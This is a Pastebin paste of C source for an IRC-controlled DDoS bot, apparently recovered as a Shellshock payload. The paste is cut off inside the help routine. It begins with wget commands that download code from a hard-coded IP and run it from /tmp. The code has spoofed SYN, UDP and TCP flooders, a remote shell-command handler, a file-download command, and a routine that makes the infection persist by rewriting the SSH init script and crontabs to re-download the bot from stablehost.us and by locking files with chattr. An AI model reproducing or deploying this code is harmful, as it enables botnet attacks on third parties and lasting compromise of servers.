Advertisement
felmoltor

IRC DDoS Bot (x.secureshellz.net) - Shellshock payload

Oct 21st, 2014
781
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 40.76 KB | None | 0 0
  1. //====================================================
  2. //=== regular.bot (found like Shellshock payload) ====
  3. //====================================================
  4.  
  5. wget http://205.237.100.170/manual/a.c -O /tmp/init.c;
  6. gcc -o /tmp/init /tmp/init.c;
  7. chmod +x /tmp/init;
  8. /tmp/init;
  9. rm -rf /tmp/init /tmp/init.c;
  10.  
  11. wget http://205.237.100.170/manual/pb -O /tmp/p;perl /tmp/p;rm -rf /tmp/p;
  12.  
  13. wget http://205.237.100.170/manual/b -O /tmp/b;chmod +x /tmp/b;/tmp/b;rm -rf /tmp/b;
  14.  
  15. //==============
  16. //==== a.c =====
  17. //==============
  18.  
  19. /*******************************************************************************
  20.  *   This is a IRC based distributed denial of service client.  It connects to *
  21.  * the server specified below and accepts commands via the channel specified.  *
  22.  * The syntax is:                                                              *
  23.  *       !<nick> <command>                                                     *
  24.  * You send this message to the channel that is defined later in this code.    *
  25.  * Where <nick> is the nickname of the client (which can include wildcards)    *
  26.  * and the command is the command that should be sent.  For example, if you    *
  27.  * want to tell all the clients with the nickname starting with N, to send you *
  28.  * the help message, you type in the channel:                                  *
  29.  *       !N* HELP                                                              *
  30.  * That will send you a list of all the commands.  You can also specify an     *
  31.  * astrick alone to make all client do a specific command:                     *
  32.  *       !* SH uname -a                                                        *
  33.  * There are a number of commands that can be sent to the client:              *
  34.  *       TSUNAMI <target> <secs>       = A PUSH+ACK flooder                    *
  35.  *       PAN <target> <port> <secs>    = A SYN flooder                         *
  36.  *       UDP <target> <port> <secs>    = An UDP flooder                        *
  37.  *       UNKNOWN <target> <secs>       = Another non-spoof udp flooder         *
  38.  *       NICK <nick>                   = Changes the nick of the client        *
  39.  *       SERVER <server>               = Changes servers                       *
  40.  *       GETSPOOFS                     = Gets the current spoofing             *
  41.  *       SPOOFS <subnet>               = Changes spoofing to a subnet          *
  42.  *       DISABLE                       = Disables all packeting from this bot  *
  43.  *       ENABLE                        = Enables all packeting from this bot   *
  44.  *       KILL                          = Kills the knight                      *
  45.  *       GET <http address> <save as>  = Downloads a file off the web          *
  46.  *       VERSION                       = Requests version of knight            *
  47.  *       KILLALL                       = Kills all current packeting           *
  48.  *       HELP                          = Displays this                         *
  49.  *       IRC <command>                 = Sends this command to the server      *
  50.  *       SH <command>                  = Executes a command                    *
  51.  * Remember, all these commands must be prefixed by a ! and the nickname that  *
  52.  * you want the command to be sent to (can include wildcards). There are no    *
  53.  * spaces in between the ! and the nickname, and there are no spaces before    *
  54.  * the !                                                                       *
  55.  *                                                                             *
  56.  *                               - contem on efnet                             *
  57.  *******************************************************************************/
  58. ////////////////////////////////////////////////////////////////////////////////
  59. //                                EDIT THESE                                  //
  60. ////////////////////////////////////////////////////////////////////////////////
  61. #define STARTUP         // Start on startup?
  62. #undef IDENT            // Only enable this if you absolutely have to
  63. #define FAKENAME "init" // What you want this to hide as
  64. #define CHAN "#int" // Channel to join
  65. #define KEY "bleh"      // The key of the channel
  66. int numservers=1;       // Must change this to equal number of servers down there
  67. char *servers[] = {     // List the servers in that format, always end in (void*)0
  68.         "x.secureshellz.net",
  69.         (void*)0
  70. };
  71. ////////////////////////////////////////////////////////////////////////////////
  72. //                               STOP HERE!                                   //
  73. ////////////////////////////////////////////////////////////////////////////////
  74. #include <stdarg.h>
  75. #include <errno.h>
  76. #include <stdio.h>
  77. #include <stdlib.h>
  78. #include <string.h>
  79. #include <sys/types.h>
  80. #include <sys/stat.h>
  81. #include <fcntl.h>
  82. #include <strings.h>
  83. #include <netinet/in.h>
  84. #include <unistd.h>
  85. #include <sys/time.h>
  86. #include <sys/socket.h>
  87. #include <signal.h>
  88. #include <arpa/inet.h>
  89. #include <netdb.h>
  90. #include <time.h>
  91. #include <sys/wait.h>
  92. #include <sys/ioctl.h>
  93. int sock,changeservers=0;
  94. char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
  95. unsigned int *pids;
  96. unsigned long spoofs=0, spoofsm=0, numpids=0;
  97. int strwildmatch(const char* pattern, const char* string) {
  98.     switch(*pattern) {
  99.         case '\0': return *string;
  100.         case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  101.         case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  102.         default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  103.     }
  104. }
  105. int Send(int sock, char *words, ...) {
  106.         static char textBuffer[1024];
  107.         va_list args;
  108.         va_start(args, words);
  109.         vsprintf(textBuffer, words, args);
  110.         va_end(args);
  111.         return write(sock,textBuffer,strlen(textBuffer));
  112. }
  113. int mfork(char *sender) {
  114.     unsigned int parent, *newpids, i;
  115.     if (disabled == 1) {
  116.         Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  117.         return 1;
  118.     }
  119.     parent=fork();
  120.     if (parent <= 0) return parent;
  121.     numpids++;
  122.     newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  123.     for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  124.     newpids[numpids-1]=parent;
  125.     free(pids);
  126.     pids=newpids;
  127.     return parent;
  128. }
  129. unsigned long getspoof() {
  130.     if (!spoofs) return rand();
  131.     if (spoofsm == 1) return ntohl(spoofs);
  132.     return ntohl(spoofs+(rand() % spoofsm)+1);
  133. }
  134. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  135. char *makestring() {
  136.     char *tmp;
  137.     int len=(rand()%5)+4,i;
  138.     FILE *file;
  139.     tmp=(char*)malloc(len+1);
  140.     memset(tmp,0,len+1);
  141.     if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  142.     else {
  143.         int a=((rand()*rand())%45402)+1;
  144.         char buf[1024];
  145.         for (i=0;i<a;i++) fgets(buf,1024,file);
  146.         memset(buf,0,1024);
  147.         fgets(buf,1024,file);
  148.         filter(buf);
  149.         memcpy(tmp,buf,len);
  150.         fclose(file);
  151.     }
  152.     return tmp;
  153. }
  154. void identd() {
  155.         int sockname,sockfd,sin_size,tmpsock,i;
  156.         struct sockaddr_in my_addr,their_addr;
  157.         char szBuffer[1024];
  158.         if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  159.         my_addr.sin_family = AF_INET;
  160.         my_addr.sin_port = htons(113);
  161.         my_addr.sin_addr.s_addr = INADDR_ANY;
  162.         memset(&(my_addr.sin_zero), 0, 8);
  163.         if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  164.         if (listen(sockfd, 1) == -1) return;
  165.         if (fork() == 0) return;
  166.         sin_size = sizeof(struct sockaddr_in);
  167.         if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  168.         for(;;) {
  169.                 fd_set bla;
  170.                 struct timeval timee;
  171.                 FD_ZERO(&bla);
  172.                 FD_SET(tmpsock,&bla);
  173.                 timee.tv_sec=timee.tv_usec=60;
  174.                 if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  175.                 if (FD_ISSET(tmpsock,&bla)) break;
  176.         }
  177.         i = recv(tmpsock,szBuffer,1024,0);
  178.         if (i <= 0 || i >= 20) exit(0);
  179.         szBuffer[i]=0;
  180.         if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  181.         if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  182.     Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  183.         close(tmpsock);
  184.         close(sockfd);
  185.         exit(0);
  186. }
  187. long pow(long a, long b) {
  188.         if (b == 0) return 1;
  189.         if (b == 1) return a;
  190.         return a*pow(a,b-1);
  191. }
  192. u_short in_cksum(u_short *addr, int len) {
  193.         register int nleft = len;
  194.         register u_short *w = addr;
  195.         register int sum = 0;
  196.         u_short answer =0;
  197.         while (nleft > 1) {
  198.                 sum += *w++;
  199.                 nleft -= 2;
  200.         }
  201.         if (nleft == 1) {
  202.                 *(u_char *)(&answer) = *(u_char *)w;
  203.                 sum += answer;
  204.         }
  205.         sum = (sum >> 16) + (sum & 0xffff);
  206.         sum += (sum >> 16);
  207.         answer = ~sum;
  208.         return(answer);
  209. }
  210. void get(int sock, char *sender, int argc, char **argv) {
  211.         int sock2,i,d;
  212.         struct sockaddr_in server;
  213.         unsigned long ipaddr;
  214.         char buf[1024];
  215.         FILE *file;
  216.         unsigned char bufm[4096];
  217.         if (mfork(sender) != 0) return;
  218.         if (argc < 2) {
  219.                 Send(sock,"NOTICE %s :GET <host> <save as>\n",sender);
  220.                 exit(0);
  221.         }
  222.         if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  223.                 Send(sock,"NOTICE %s :Unable to create socket.\n",sender);
  224.                 exit(0);
  225.         }
  226.         if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
  227.         else strcpy(buf,argv[1]);
  228.         for (i=0;i<strlen(buf) && buf[i] != '/';i++);
  229.         buf[i]=0;
  230.         server.sin_family = AF_INET;
  231.         server.sin_port = htons(80);
  232.         if ((ipaddr = inet_addr(buf)) == -1) {
  233.                 struct hostent *hostm;
  234.                 if ((hostm=gethostbyname(buf)) == NULL) {
  235.                         Send(sock,"NOTICE %s :Unable to resolve address.\n",sender);
  236.                         exit(0);
  237.                 }
  238.                 memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
  239.         }
  240.         else server.sin_addr.s_addr = ipaddr;
  241.         memset(&(server.sin_zero), 0, 8);
  242.         if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
  243.                 Send(sock,"NOTICE %s :Unable to connect to http.\n",sender);
  244.                 exit(0);
  245.         }
  246.  
  247.         Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf);
  248.         Send(sock,"NOTICE %s :Receiving file.\n",sender);
  249.         file=fopen(argv[2],"wb");
  250.         while(1) {
  251.                 int i;
  252.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  253.                 if (i < 4096) bufm[i]=0;
  254.                 for (d=0;d<i;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) {
  255.                         for (d+=4;d<i;d++) fputc(bufm[d],file);
  256.                         goto done;
  257.                 }
  258.         }
  259.         done:
  260.         Send(sock,"NOTICE %s :Saved as %s\n",sender,argv[2]);
  261.         while(1) {
  262.                 int i,d;
  263.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  264.                 if (i < 4096) bufm[i]=0;
  265.                 for (d=0;d<i;d++) fputc(bufm[d],file);
  266.         }
  267.         fclose(file);
  268.         close(sock2);
  269.         exit(0);
  270. }
  271. void getspoofs(int sock, char *sender, int argc, char **argv) {
  272.         unsigned long a=spoofs,b=spoofs+(spoofsm-1);
  273.         if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
  274.         else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
  275. }
  276. void version(int sock, char *sender, int argc, char **argv) {
  277.         Send(sock,"NOTICE %s :Kaiten wa goraku\n",sender);
  278. }
  279. void nickc(int sock, char *sender, int argc, char **argv) {
  280.         if (argc != 1) {
  281.                 Send(sock,"NOTICE %s :NICK <nick>\n",sender);
  282.                 return;
  283.         }
  284.         if (strlen(argv[1]) >= 10) {
  285.                 Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender);
  286.                 return;
  287.         }
  288.         Send(sock,"NICK %s\n",argv[1]);
  289. }
  290. void disable(int sock, char *sender, int argc, char **argv) {
  291.         if (argc != 1) {
  292.                 Send(sock,"NOTICE %s :DISABLE <pass>\n",sender);
  293.                 Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  294.                 return;
  295.         }
  296.     if (disabled) {
  297.         Send(sock,"NOTICE %s :Already disabled.\n",sender);
  298.         return;
  299.     }
  300.     if (strlen(argv[1]) > 254) {
  301.                 Send(sock,"NOTICE %s :Password too long! > 254\n",sender);
  302.                 return;
  303.     }
  304.         disabled=1;
  305.     memset(dispass,0,256);
  306.     strcpy(dispass,argv[1]);
  307.     Send(sock,"NOTICE %s :Disable sucessful.\n");
  308. }
  309. void enable(int sock, char *sender, int argc, char **argv) {
  310.         if (argc != 1) {
  311.                 Send(sock,"NOTICE %s :ENABLE <pass>\n",sender);
  312.                 Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  313.                 return;
  314.         }
  315.     if (!disabled) {
  316.         Send(sock,"NOTICE %s :Already enabled.\n",sender);
  317.         return;
  318.     }
  319.     if (strcasecmp(dispass,argv[1])) {
  320.         Send(sock,"NOTICE %s :Wrong password\n",sender);
  321.         return;
  322.     }
  323.         disabled=0;
  324.     Send(sock,"NOTICE %s :Password correct.\n",sender);
  325. }
  326. void spoof(int sock, char *sender, int argc, char **argv) {
  327.         char ip[256];
  328.         int i, num;
  329.         unsigned long uip;
  330.         if (argc != 1) {
  331.                 Send(sock,"NOTICE %s :Removed all spoofs\n",sender);
  332.                 spoofs=0;
  333.                 spoofsm=0;
  334.                 return;
  335.         }
  336.         if (strlen(argv[1]) > 16) {
  337.                 Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender);
  338.                 return;
  339.         }
  340.         strcpy(ip,argv[1]);
  341.         if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
  342.         for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
  343.         num=-(num-4);
  344.         for (i=0;i<num;i++) strcat(ip,".0");
  345.         uip=inet_network(ip);
  346.         if (num == 0) spoofsm=1;
  347.         else spoofsm=pow(256,num);
  348.         spoofs=uip;
  349. }
  350. struct iphdr {
  351.         unsigned int ihl:4, version:4;
  352.         unsigned char tos;
  353.         unsigned short tot_len;
  354.         unsigned short id;
  355.         unsigned short frag_off;
  356.         unsigned char ttl;
  357.         unsigned char protocol;
  358.         unsigned short check;
  359.         unsigned long saddr;
  360.         unsigned long daddr;
  361. };
  362. struct udphdr {
  363.         unsigned short source;
  364.         unsigned short dest;
  365.         unsigned short len;
  366.         unsigned short check;
  367. };
  368. struct tcphdr {
  369.         unsigned short source;
  370.         unsigned short dest;
  371.         unsigned long seq;
  372.         unsigned long ack_seq;
  373.         unsigned short res1:4, doff:4;
  374.     unsigned char fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, ece:1, cwr:1;
  375.         unsigned short window;
  376.         unsigned short check;
  377.         unsigned short urg_ptr;
  378. };
  379. struct send_tcp {
  380.     struct iphdr ip;
  381.     struct tcphdr tcp;
  382.     char buf[20];
  383. };
  384. struct pseudo_header {
  385.     unsigned int source_address;
  386.     unsigned int dest_address;
  387.     unsigned char placeholder;
  388.     unsigned char protocol;
  389.     unsigned short tcp_length;
  390.     struct tcphdr tcp;
  391.     char buf[20];
  392. };
  393. unsigned int host2ip(char *sender,char *hostname) {
  394.         static struct in_addr i;
  395.         struct hostent *h;
  396.         if((i.s_addr = inet_addr(hostname)) == -1) {
  397.                 if((h = gethostbyname(hostname)) == NULL) {
  398.                         Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  399.                         exit(0);
  400.                 }
  401.                 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  402.         }
  403.         return i.s_addr;
  404. }
  405. void udp(int sock, char *sender, int argc, char **argv) {
  406.         unsigned int port,i=0;
  407.         unsigned long psize,target,secs;
  408.         struct sockaddr_in s_in;
  409.         struct iphdr *ip;
  410.     struct udphdr *udp;
  411.     char buf[1500],*str;
  412.         int get;
  413.         time_t start=time(NULL);
  414.         if (mfork(sender) != 0) return;
  415.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  416.         if (argc < 3) {
  417.                 Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender);
  418.                 exit(1);
  419.         }
  420.         target = host2ip(sender,argv[1]);
  421.         port = atoi(argv[2]);
  422.         secs = atol(argv[3]);
  423.         ip=(void*)buf;
  424.     udp=(void*)(buf+sizeof(struct iphdr));
  425.         str=(void*)(buf+sizeof(struct iphdr)+sizeof(struct udphdr));
  426.         memset(str,10,1500-(sizeof(struct iphdr)+sizeof(struct udphdr)));
  427.         Send(sock,"NOTICE %s :Packeting %s.\n",sender,argv[1]);
  428.         ip->ihl = 5;
  429.         ip->version = 4;
  430.         ip->tos = 0;
  431.         ip->tot_len = 1500;
  432.         ip->frag_off = 0;
  433.         ip->protocol = 17;
  434.         ip->ttl = 64;
  435.         ip->daddr = target;
  436.         udp->len = htons(psize);
  437.         s_in.sin_family  = AF_INET;
  438.         s_in.sin_addr.s_addr = target;
  439.         for (;;) {
  440.                 udp->source = rand();
  441.                 if (port) udp->dest = htons(port);
  442.                 else udp->dest = rand();
  443.                 udp->check = in_cksum((u_short *)buf,1500);
  444.                 ip->saddr = getspoof();
  445.                 ip->id = rand();
  446.                 ip->check = in_cksum((u_short *)buf,1500);
  447.                 s_in.sin_port = udp->dest;
  448.                 sendto(get,buf,1500,0,(struct sockaddr *)&s_in,sizeof(s_in));
  449.                 if (i >= 50) {
  450.                         if (time(NULL) >= start+secs) exit(0);
  451.                         i=0;
  452.                 }
  453.                 i++;
  454.         }
  455. }
  456. void pan(int sock, char *sender, int argc, char **argv) {
  457.         struct send_tcp send_tcp;
  458.         struct pseudo_header pseudo_header;
  459.         struct sockaddr_in sin;
  460.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  461.         unsigned int psize=20, source, dest, check;
  462.         unsigned long saddr, daddr,secs;
  463.         int get;
  464.         time_t start=time(NULL);
  465.         if (mfork(sender) != 0) return;
  466.         if (argc < 3) {
  467.                 Send(sock,"NOTICE %s :PAN <target> <port> <secs>\n",sender);
  468.                 exit(1);
  469.         }
  470.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  471.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  472.         daddr=host2ip(sender,argv[1]);
  473.         secs=atol(argv[3]);
  474.         Send(sock,"NOTICE %s :Panning %s.\n",sender,argv[1]);
  475.         send_tcp.ip.ihl = 5;
  476.         send_tcp.ip.version = 4;
  477.         send_tcp.ip.tos = 16;
  478.         send_tcp.ip.frag_off = 64;
  479.         send_tcp.ip.ttl = 64;
  480.         send_tcp.ip.protocol = 6;
  481.         send_tcp.tcp.ack_seq = 0;
  482.         send_tcp.tcp.doff = 10;
  483.         send_tcp.tcp.res1 = 0;
  484.         send_tcp.tcp.cwr = 0;
  485.         send_tcp.tcp.ece = 0;
  486.         send_tcp.tcp.urg = 0;
  487.         send_tcp.tcp.ack = 0;
  488.         send_tcp.tcp.psh = 0;
  489.         send_tcp.tcp.rst = 0;
  490.         send_tcp.tcp.fin = 0;
  491.         send_tcp.tcp.syn = 1;
  492.         send_tcp.tcp.window = 30845;
  493.         send_tcp.tcp.urg_ptr = 0;
  494.         dest=htons(atoi(argv[2]));
  495.         while(1) {
  496.                 source=rand();
  497.                 if (atoi(argv[2]) == 0) dest=rand();
  498.                 saddr=getspoof();
  499.                 send_tcp.ip.tot_len = htons(40+psize);
  500.                 send_tcp.ip.id = rand();
  501.                 send_tcp.ip.saddr = saddr;
  502.                 send_tcp.ip.daddr = daddr;
  503.                 send_tcp.ip.check = 0;
  504.                 send_tcp.tcp.source = source;
  505.                 send_tcp.tcp.dest = dest;
  506.                 send_tcp.tcp.seq = rand();
  507.                 send_tcp.tcp.check = 0;
  508.                 sin.sin_family = AF_INET;
  509.                 sin.sin_port = dest;
  510.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  511.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  512.                 check = rand();
  513.                 send_tcp.buf[9]=((char*)&check)[0];
  514.                 send_tcp.buf[10]=((char*)&check)[1];
  515.                 send_tcp.buf[11]=((char*)&check)[2];
  516.                 send_tcp.buf[12]=((char*)&check)[3];
  517.                 pseudo_header.source_address = send_tcp.ip.saddr;
  518.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  519.                 pseudo_header.placeholder = 0;
  520.                 pseudo_header.protocol = IPPROTO_TCP;
  521.                 pseudo_header.tcp_length = htons(20+psize);
  522.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  523.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  524.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  525.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  526.                 if (a >= 50) {
  527.                         if (time(NULL) >= start+secs) exit(0);
  528.                         a=0;
  529.                 }
  530.                 a++;
  531.         }
  532.         close(get);
  533.         exit(0);
  534. }
  535. void tsunami(int sock, char *sender, int argc, char **argv) {
  536.         struct send_tcp send_tcp;
  537.         struct pseudo_header pseudo_header;
  538.         struct sockaddr_in sin;
  539.         unsigned int psize=1400, check,i;
  540.         unsigned long saddr, daddr,secs;
  541.         int get;
  542.         time_t start=time(NULL);
  543.         if (mfork(sender) != 0) return;
  544.         if (argc < 2) {
  545.                 Send(sock,"NOTICE %s :TSUNAMI <target> <secs>\n",sender);
  546.                 exit(1);
  547.         }
  548.         secs=atol(argv[2]);
  549.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  550.         srand(time(NULL) ^ getpid());
  551.         memset(send_tcp.buf,rand(),psize);
  552.         daddr=host2ip(sender,argv[1]);
  553.         Send(sock,"NOTICE %s :Tsunami heading for %s.\n",sender,argv[1]);
  554.         while(1) {
  555.                 saddr=getspoof();
  556.                 send_tcp.ip.ihl = 5;
  557.                 send_tcp.ip.version = 4;
  558.                 send_tcp.ip.tos = 16;
  559.                 send_tcp.ip.tot_len = htons(40+psize);
  560.                 send_tcp.ip.id = rand();
  561.                 send_tcp.ip.frag_off = 64;
  562.                 send_tcp.ip.ttl = 64;
  563.                 send_tcp.ip.protocol = 6;
  564.                 send_tcp.ip.check = 0;
  565.                 send_tcp.ip.saddr = saddr;
  566.                 send_tcp.ip.daddr = daddr;
  567.                 send_tcp.tcp.source = rand();
  568.                 send_tcp.tcp.dest = rand();
  569.                 send_tcp.tcp.seq = rand();
  570.                 send_tcp.tcp.ack_seq = rand();
  571.                 send_tcp.tcp.doff = 5;
  572.                 send_tcp.tcp.res1 = 0;
  573.                 send_tcp.tcp.cwr = 0;
  574.                 send_tcp.tcp.ece = 0;
  575.                 send_tcp.tcp.urg = 0;
  576.                 send_tcp.tcp.ack = 1;
  577.                 send_tcp.tcp.psh = 1;
  578.                 send_tcp.tcp.rst = 0;
  579.                 send_tcp.tcp.fin = 0;
  580.                 send_tcp.tcp.syn = 0;
  581.                 send_tcp.tcp.window = 30845;
  582.                 send_tcp.tcp.check = 0;
  583.                 send_tcp.tcp.urg_ptr = 0;
  584.                 sin.sin_family = AF_INET;
  585.                 sin.sin_port = send_tcp.tcp.dest;
  586.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  587.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  588.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  589.                 pseudo_header.source_address = send_tcp.ip.saddr;
  590.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  591.                 pseudo_header.placeholder = 0;
  592.                 pseudo_header.protocol = IPPROTO_TCP;
  593.                 pseudo_header.tcp_length = htons(20+psize);
  594.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  595.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  596.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  597.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  598.                 if (i >= 50) {
  599.                         if (time(NULL) >= start+secs) break;
  600.                         i=0;
  601.                 }
  602.                 i++;
  603.         }
  604.         close(get);
  605.         exit(0);
  606. }
  607. void unknown(int sock, char *sender, int argc, char **argv) {
  608.     int flag=1,fd,i;
  609.     unsigned long secs;
  610.     char *buf=(char*)malloc(9216);
  611.     struct hostent *hp;
  612.     struct sockaddr_in in;
  613.         time_t start=time(NULL);
  614.         if (mfork(sender) != 0) return;
  615.         if (argc < 2) {
  616.                 Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
  617.                 exit(1);
  618.         }
  619.         secs=atol(argv[2]);
  620.     memset((void*)&in,0,sizeof(struct sockaddr_in));
  621.     in.sin_addr.s_addr=host2ip(sender,argv[1]);
  622.     in.sin_family = AF_INET;
  623.         Send(sock,"NOTICE %s :Unknowning %s.\n",sender,argv[1]);
  624.     while(1) {
  625.         in.sin_port = rand();
  626.         if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  627.         else {
  628.             flag=1;
  629.             ioctl(fd,FIONBIO,&flag);
  630.             sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  631.             close(fd);
  632.         }
  633.                 if (i >= 50) {
  634.                         if (time(NULL) >= start+secs) break;
  635.                         i=0;
  636.                 }
  637.                 i++;
  638.     }
  639.         close(fd);
  640.     exit(0);
  641. }
  642. void reinstall() {
  643.  
  644.     system("cat /etc/init.d/ssh|grep -v wget && sed -i 's=umask 022=umask 022; wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh &;rm -rf /tmp/sh=g' /etc/init.d/ssh");
  645.  
  646.     system("echo '#!/bin/sh' > /etc/cron.weekly/logrotater");
  647.     system("echo 'wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh' >>/etc/cron.weekly/logrotater");
  648.     system("echo 'sh /tmp/sh;rm /tmp/sh' >>/etc/cron.weekly/logrotater");
  649.  
  650.     system("chmod +x /etc/cron.weekly/logrotater");
  651.     system("chattr +isa /etc/cron.weekly/logrotator");
  652.     system("crontab -r|grep -v stable >/tmp/c");
  653.     system("echo '@weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm /tmp/sh >/dev/null 2>&1' >> /tmp/c");
  654.     system("crontab /tmp/c;rm /tmp/c");
  655.  
  656.     system("chattr +isa /etc/init.d/ssh");
  657.     system("chattr +isa /var/spool/cron/crontabs/root");
  658.     system("chmod 000 /usr/bin/crontab;chattr +isa /usr/bin/crontab");
  659.     system("rm /usr/bin/chattr");
  660.  
  661. }
  662. void move(int sock, char *sender, int argc, char **argv) {
  663.         if (argc < 1) {
  664.                 Send(sock,"NOTICE %s :MOVE <server>\n",sender);
  665.                 exit(1);
  666.         }
  667. //  server=strdup(argv[1]);
  668.     changeservers=1;
  669.     close(sock);
  670. }
  671. void help(int sock, char *sender, int argc, char **argv) {
  672.         if (mfork(sender) != 0) return;
  673.         Send(sock,"NOTICE %s :TSUNAMI <target> <secs>                          = Special packeter that wont be blocked by most firewalls\n",sender); sleep(2);
  674.         Send(sock,"NOTICE %s :PAN <target> <port> <secs>                       = An advanced syn flooder that will kill most network drivers\n",sender); sleep(2);
  675.         Send(sock,"NOTICE %s :UDP <target> <port> <secs>                       = A udp flooder\n",sender); sleep(2);
  676.         Send(sock,"NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp flooder\n",sender); sleep(2);
  677.  
  678.         Send(sock,"NOTICE %s :NICK <nick>                                      = Changes the nick of the client\n",sender); sleep(2);
  679.     Send(sock,"NOTICE %s :SERVER <server>                                  = Changes servers\n",sender); sleep(2);
  680.         Send(sock,"NOTICE %s :GETSPOOFS                                        = Gets the current spoofing\n",sender); sleep(2);
  681.         Send(sock,"NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a subnet\n",sender); sleep(2);
  682.  
  683.         Send(sock,"NOTICE %s :DISABLE                                          = Disables all packeting from this client\n",sender); sleep(2);
  684.         Send(sock,"NOTICE %s :ENABLE                                           = Enables all packeting from this client\n",sender); sleep(2);
  685.  
  686.         Send(sock,"NOTICE %s :KILL                                             = Kills the client\n",sender); sleep(2);
  687.     Send(sock,"NOTICE %s :GET <http address> <save as>                     = Downloads a file off the web and saves it onto the hd\n",sender); sleep(2);
  688.         Send(sock,"NOTICE %s :VERSION                                          = Requests version of client\n",sender); sleep(2);
  689.         Send(sock,"NOTICE %s :KILLALL                                          = Kills all current packeting\n",sender); sleep(2);
  690.         Send(sock,"NOTICE %s :HELP                                             = Displays this\n",sender);
  691.  
  692.     Send(sock,"NOTICE %s :IRC <command>                                    = Sends this command to the server\n",sender); sleep(2);
  693.     Send(sock,"NOTICE %s :SH <command>                                     = Executes a command\n",sender); sleep(2);
